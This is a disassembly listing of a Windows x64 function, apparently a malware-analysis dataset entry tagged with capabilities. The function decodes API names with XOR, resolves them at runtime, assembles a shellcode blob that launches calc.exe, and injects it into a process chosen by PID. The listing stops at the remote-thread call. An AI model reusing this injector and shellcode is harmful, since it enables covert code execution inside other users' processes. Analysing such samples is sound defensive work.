Function at 0x140001070
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Link many functions at runtime

Disassembly:
push rbp
push rbx
push rdi
push r14
lea rbp, [rsp - 0x78]
sub rsp, 0x178
xor r14d, r14d
lea r9, [0x140022001]
mov edi, ecx
lea r11, str.mes_lunettes_de_soleil___cest_super_long________________________K_IUHdsfqy
mov ecx, r14d
mov r10d, r14d
mov rbx, rdx
nop
cmp ecx, 0x4b
mov r8d, r14d
mov edx, r14d
cmovne r8d, ecx
mov ecx, r14d
movsxd rax, r8d
movzx eax, byte [rax + r11]
xor byte [r9 - 1], al
lea eax, [r8 + 1]
cmp r8d, 0x4a
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r9], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 + 1], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r9 + 2], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 + 3], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r9 + 4], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 + 5], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r9 + 6], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 + 7], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r9 + 8], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 + 9], al
lea eax, [rdx + 1]
cmp edx, 0x4a
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
add r10d, 0xc
xor byte [r9 + 0xa], al
lea r9, [r9 + 0xc]
inc ecx
cmp r10d, 0xc
jb 0x1400010a0
mov ecx, r14d
lea r9, [0x140022011]
mov r10d, r14d
cmp ecx, 0x4b
lea r9, [r9 + 0xb]
mov edx, r14d
mov r8d, r14d
cmovne edx, ecx
mov ecx, r14d
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 - 0xc], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r9 - 0xb], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 - 0xa], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r9 - 9], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 - 8], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r9 - 7], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 - 6], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r9 - 5], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 - 4], al
lea eax, [rdx + 1]
cmp edx, 0x4a
cmovne r8d, eax
movsxd rax, r8d
movzx eax, byte [rax + r11]
xor byte [r9 - 3], al
lea eax, [r8 + 1]
cmp r8d, 0x4a
cmovne ecx, eax
add r10d, 0xb
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r9 - 2], al
inc ecx
cmp r10d, 0xb
jb 0x1400011e0
mov ecx, r14d
lea r8, [0x140022021]
mov r9d, r14d
nop dword [rax]
cmp ecx, 0x4b
mov edx, r14d
cmovne edx, ecx
mov ecx, r14d
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 1], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 1], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 2], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 3], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 4], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 5], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 6], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 7], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 8], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 9], al
lea eax, [rdx + 1]
cmp edx, 0x4a
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
mov edx, r14d
xor byte [r8 + 0xa], al
lea r8, [r8 + 0xe]
cmp ecx, 0x4a
lea eax, [rcx + 1]
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 3], al
lea eax, [rdx + 1]
cmp edx, 0x4a
cmovne ecx, eax
add r9d, 0xe
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 2], al
inc ecx
cmp r9d, 0xe
jb 0x140001310
mov ecx, r14d
lea r9, [0x140022031]
mov r10d, r14d
nop dword [rax]
cmp ecx, 0x4b
mov edx, r14d
cmovne edx, ecx
mov ecx, r14d
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 - 1], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r9], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 + 1], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r9 + 2], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 + 3], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r9 + 4], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 + 5], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r9 + 6], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 + 7], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r9 + 8], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 + 9], al
lea eax, [rdx + 1]
cmp edx, 0x4a
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
mov edx, r14d
xor byte [r9 + 0xa], al
lea r9, [r9 + 0x11]
cmp ecx, 0x4a
lea eax, [rcx + 1]
mov ecx, r14d
mov r8d, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 - 6], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r9 - 5], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 - 4], al
lea eax, [rdx + 1]
cmp edx, 0x4a
cmovne r8d, eax
movsxd rax, r8d
movzx eax, byte [rax + r11]
xor byte [r9 - 3], al
lea eax, [r8 + 1]
cmp r8d, 0x4a
cmovne ecx, eax
add r10d, 0x11
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r9 - 2], al
inc ecx
cmp r10d, 0x11
jb 0x140001480
mov ecx, r14d
lea r8, [0x140022049]
mov r9d, r14d
nop dword [rax + rax]
cmp ecx, 0x4b
mov edx, r14d
cmovne edx, ecx
mov ecx, r14d
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 1], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 1], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 2], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 3], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 4], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 5], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 6], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 7], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 8], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 9], al
lea eax, [rdx + 1]
cmp edx, 0x4a
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
mov edx, r14d
xor byte [r8 + 0xa], al
lea r8, [r8 + 0x12]
cmp ecx, 0x4a
lea eax, [rcx + 1]
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 7], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 6], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 5], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 4], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 3], al
lea eax, [rdx + 1]
cmp edx, 0x4a
cmovne ecx, eax
add r9d, 0x12
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 2], al
inc ecx
cmp r9d, 0x12
jb 0x140001640
mov ecx, r14d
lea r8, [0x140022061]
mov r9d, r14d
nop dword [rax]
cmp ecx, 0x4b
mov edx, r14d
cmovne edx, ecx
mov ecx, r14d
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 1], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 1], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 2], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 3], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 4], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 5], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 6], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 7], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 8], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 9], al
lea eax, [rdx + 1]
cmp edx, 0x4a
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
mov edx, r14d
xor byte [r8 + 0xa], al
lea r8, [r8 + 0x12]
cmp ecx, 0x4a
lea eax, [rcx + 1]
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 7], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 6], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 5], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 4], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 3], al
lea eax, [rdx + 1]
cmp edx, 0x4a
cmovne ecx, eax
add r9d, 0x12
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 2], al
inc ecx
cmp r9d, 0x12
jb 0x140001810
mov ecx, r14d
lea r9, [0x140022079]
mov r10d, r14d
nop dword [rax]
cmp ecx, 0x4b
mov edx, r14d
cmovne edx, ecx
mov ecx, r14d
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 - 1], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r9], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 + 1], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r9 + 2], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 + 3], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r9 + 4], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 + 5], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r9 + 6], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 + 7], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r9 + 8], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 + 9], al
lea eax, [rdx + 1]
cmp edx, 0x4a
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
mov edx, r14d
xor byte [r9 + 0xa], al
lea r9, [r9 + 0x13]
cmp ecx, 0x4a
lea eax, [rcx + 1]
mov ecx, r14d
mov r8d, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 - 8], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r9 - 7], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 - 6], al
lea eax, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r9 - 5], al
lea eax, [rcx + 1]
cmp ecx, 0x4a
mov ecx, r14d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r9 - 4], al
lea eax, [rdx + 1]
cmp edx, 0x4a
cmovne r8d, eax
movsxd rax, r8d
movzx eax, byte [rax + r11]
xor byte [r9 - 3], al
lea eax, [r8 + 1]
cmp r8d, 0x4a
cmovne ecx, eax
add r10d, 0x13
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r9 - 2], al
inc ecx
cmp r10d, 0x13
jb 0x1400019e0
mov edx, r14d
lea rax, [0x140022091]
mov r10d, r14d
nop dword [rax + rax]
cmp edx, 0x4b
lea rax, [rax + 0xb]
mov r8d, r14d
mov r9d, r14d
cmovne r8d, edx
mov edx, r14d
movsxd rcx, r8d
movzx ecx, byte [rcx + r11]
xor byte [rax - 0xc], cl
lea ecx, [r8 + 1]
cmp r8d, 0x4a
mov r8d, r14d
cmovne edx, ecx
movsxd rcx, edx
movzx ecx, byte [rcx + r11]
xor byte [rax - 0xb], cl
lea ecx, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne r8d, ecx
movsxd rcx, r8d
movzx ecx, byte [rcx + r11]
xor byte [rax - 0xa], cl
lea ecx, [r8 + 1]
cmp r8d, 0x4a
mov r8d, r14d
cmovne edx, ecx
movsxd rcx, edx
movzx ecx, byte [rcx + r11]
xor byte [rax - 9], cl
lea ecx, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne r8d, ecx
movsxd rcx, r8d
movzx ecx, byte [rcx + r11]
xor byte [rax - 8], cl
lea ecx, [r8 + 1]
cmp r8d, 0x4a
mov r8d, r14d
cmovne edx, ecx
movsxd rcx, edx
movzx ecx, byte [rcx + r11]
xor byte [rax - 7], cl
lea ecx, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne r8d, ecx
movsxd rcx, r8d
movzx ecx, byte [rcx + r11]
xor byte [rax - 6], cl
lea ecx, [r8 + 1]
cmp r8d, 0x4a
mov r8d, r14d
cmovne edx, ecx
movsxd rcx, edx
movzx ecx, byte [rcx + r11]
xor byte [rax - 5], cl
lea ecx, [rdx + 1]
cmp edx, 0x4a
mov edx, r14d
cmovne r8d, ecx
movsxd rcx, r8d
movzx ecx, byte [rcx + r11]
xor byte [rax - 4], cl
lea ecx, [r8 + 1]
cmp r8d, 0x4a
cmovne r9d, ecx
movsxd rcx, r9d
movzx ecx, byte [rcx + r11]
xor byte [rax - 3], cl
lea ecx, [r9 + 1]
cmp r9d, 0x4a
cmovne edx, ecx
add r10d, 0xb
movsxd rcx, edx
movzx ecx, byte [rcx + r11]
xor byte [rax - 2], cl
inc edx
cmp r10d, 0xb
jb 0x140001bd0
lea rcx, section..data
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140022010]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, section..data
mov qword [0x140023f98], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140022020]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, section..data
mov qword [0x140023f88], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140022030]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, section..data
mov qword [0x140023f90], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140022048]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, section..data
mov qword [0x140023f80], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140022060]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, section..data
mov qword [0x140023f78], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140022078]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, section..data
mov qword [0x140023f70], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140022090]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140023f68], rax
mov eax, dword [0x14002209c]
mov dword [rbp + 0xa0], eax
mov eax, dword [0x1400220a0]
mov dword [rbp + 0xb0], eax
mov dword [rsp + 0x40], 0xe48348fc
mov dword [rsp + 0x44], 0xc0e8f0
mov dword [rsp + 0x48], 0x51410000
mov dword [rsp + 0x4c], 0x51525041
mov dword [rsp + 0x50], 0xd2314856
mov dword [rsp + 0x54], 0x528b4865
mov dword [rsp + 0x58], 0x528b4860
mov dword [rsp + 0x5c], 0x528b4818
mov dword [rsp + 0x60], 0x728b4820
mov dword [rsp + 0x64], 0xb70f4850
mov dword [rsp + 0x68], 0x314d4a4a
mov dword [rsp + 0x6c], 0xc03148c9
mov dword [rsp + 0x70], 0x7c613cac
mov dword [rsp + 0x74], 0x41202c02
mov dword [rsp + 0x78], 0x410dc9c1
mov dword [rsp + 0x7c], 0xede2c101
mov dword [rbp - 0x80], 0x48514152
mov dword [rbp - 0x7c], 0x8b20528b
mov dword [rbp - 0x78], 0x1483c42
mov dword [rbp - 0x74], 0x88808bd0
mov dword [rbp - 0x70], 0x48000000
mov dword [rbp - 0x6c], 0x6774c085
mov dword [rbp - 0x68], 0x50d00148
mov dword [rbp - 0x64], 0x4418488b
mov dword [rbp - 0x60], 0x4920408b
mov dword [rbp - 0x5c], 0x56e3d001
mov dword [rbp - 0x58], 0x41c9ff48
mov dword [rbp - 0x54], 0x4888348b
mov dword [rbp - 0x50], 0x314dd601
mov dword [rbp - 0x4c], 0xc03148c9
mov dword [rbp - 0x48], 0xc9c141ac
mov dword [rbp - 0x44], 0xc101410d
mov dword [rbp - 0x40], 0xf175e038
mov dword [rbp - 0x3c], 0x244c034c
mov dword [rbp - 0x38], 0xd1394508
lea rdx, [rbp + 0xa0]
mov dword [rbp - 0x34], 0x4458d875
lea rcx, str._n_s_Program_start_n
mov dword [rbp - 0x30], 0x4924408b
mov dword [rbp - 0x2c], 0x4166d001
mov dword [rbp - 0x28], 0x44480c8b
mov dword [rbp - 0x24], 0x491c408b
mov dword [rbp - 0x20], 0x8b41d001
mov dword [rbp - 0x1c], 0x1488804
mov dword [rbp - 0x18], 0x415841d0
mov dword [rbp - 0x14], 0x5a595e58
mov dword [rbp - 0x10], 0x59415841
mov dword [rbp - 0xc], 0x83485a41
mov dword [rbp - 8], 0x524120ec
mov dword [rbp - 4], 0x4158e0ff
mov dword [rbp], 0x8b485a59
mov dword [rbp + 4], 0xff57e912
mov dword [rbp + 8], 0x485dffff
mov qword [rbp + 0xc], 0x1ba
mov dword [rbp + 0x14], 0x8d8d4800
mov dword [rbp + 0x18], 0x101
mov dword [rbp + 0x1c], 0x8b31ba41
mov dword [rbp + 0x20], 0xd5ff876f
mov dword [rbp + 0x24], 0xa2b5f0bb
mov dword [rbp + 0x28], 0xa6ba4156
mov dword [rbp + 0x2c], 0xff9dbd95
mov dword [rbp + 0x30], 0xc48348d5
mov dword [rbp + 0x34], 0x7c063c28
mov dword [rbp + 0x38], 0xe0fb800a
mov dword [rbp + 0x3c], 0x47bb0575
mov dword [rbp + 0x40], 0x6a6f7213
mov dword [rbp + 0x44], 0x89415900
mov dword [rbp + 0x48], 0x63d5ffda
mov dword [rbp + 0x4c], 0x2e636c61
mov dword [rbp + 0x50], 0x657865
call fcn.140002270
mov dword [rbp + 0xb8], r14d
cmp edi, 2
jge 0x140002035
lea rdx, [rbp + 0xb0]
lea rcx, str._s_Missing_PID_of_targeted_process_n
call fcn.140002270
mov eax, 1
add rsp, 0x178
pop r14
pop rdi
pop rbx
pop rbp
ret
mov rcx, qword [rbx + 8]
call fcn.140006330
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
mov ebx, eax
call qword [0x140023f98]
mov rdi, rax
mov r8d, ebx
test rax, rax
jne 0x14000207e
lea rdx, [rbp + 0xb0]
lea rcx, str._s_Fail_to_open_process__ld_n
call fcn.140002270
lea eax, [rdi + 1]
add rsp, 0x178
pop r14
pop rdi
pop rbx
pop rbp
ret
lea rdx, [rbp + 0xa0]
mov qword [rsp + 0x170], rsi
lea rcx, str._s_Successfully_opened_process__ld_n
call fcn.140002270
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8d, 0x114
mov rcx, rdi
call qword [0x140023f88]
mov rsi, rax
mov r8d, ebx
test rax, rax
jne 0x1400020de
lea rdx, [rbp + 0xb0]
lea rcx, str._s_Fail_to_allocate_virtual_memmory_in_the_process__ld_n
call fcn.140002270
lea eax, [rsi + 1]
jmp 0x140002244
lea rdx, [rbp + 0xa0]
lea rcx, str._s_Successfully_allocate_memmory_in_process__ld_n
call fcn.140002270
mov r9d, 0x114
mov qword [rsp + 0x20], r14
lea r8, [rsp + 0x40]
mov rdx, rsi
mov rcx, rdi
call qword [0x140023f80]
test eax, eax
jne 0x140002137
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rbp + 0xb0]
lea rcx, str._s_Error_when_writing_into_memmory:__ld_n
call fcn.140002270
mov eax, 1
jmp 0x140002244
lea rdx, [rbp + 0xa0]
lea rcx, str._s_Successfully_write_into_memmory_____n
call fcn.140002270
lea rax, [rbp + 0xb8]
mov r9d, 0x10
mov r8d, 0x114
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rdi
call qword [0x140023f90]
test eax, eax
jne 0x14000218f
lea rdx, [rbp + 0xb0]
lea rcx, str._s_Fail_to_change_the_memory_to_executable_n
call fcn.140002270
mov eax, 1
jmp 0x140002244
lea rdx, [rbp + 0xa0]
lea rcx, str._s_Successfully_change_the_memory_to_executable_n
call fcn.140002270
lea rax, [rbp + 0x60]
mov r9, rsi
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov dword [rsp + 0x28], r14d
xor edx, edx
mov rcx, rdi
